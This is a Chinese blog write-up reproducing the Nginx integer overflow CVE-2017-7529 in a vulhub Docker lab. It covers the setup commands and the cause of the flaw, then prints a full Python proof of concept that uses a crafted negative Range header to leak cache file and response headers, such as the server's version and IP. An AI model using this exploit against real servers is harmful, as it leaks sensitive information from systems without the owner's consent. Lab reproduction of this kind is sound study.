Nginx整数溢出漏洞复现 CVE-2017-7529

  1.准备:

1.1复现环境

漏洞环境:vulnhub靶场

工具准备:python3

1.2环境启动

进入vulnhub目录下的nginx目录,进入CVE-2017-7529目录

cd /home/hbesljx/vulhub/nginx/CVE-2017-7529

docker-compoe启动漏洞环境

docker-compose up -d

访问靶机的8080端口。出现nginx界面即为开启成功!

2.概念说明

2.1 Nginx是什么

Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器

3.漏洞原理

Nginx在进行反向代理时,会将一些静态文件进行缓存,缓存文件包括“文件头”+“Http响应包头”+“Http响应包体”,当再次请求这些文件时,Nginx会直接将缓存文件的Http响应包体返回给我们。

而我们构造http请求包头部中的range字段,选择start和end值让Nginx返回给我们指定位置的文件数据。如我们设置start和end为负值,则会返回Http响应包体的负数位置的文件数据给我们,也就是文件头和Http响应包头,这样我们就可以得到一些敏感信息如服务器的真实ip等。

4.漏洞复现

4.1 POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

4.2 发送http请求包

成功获取到文件头和http响应包头的内容,如nginx版本、服务器ip等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值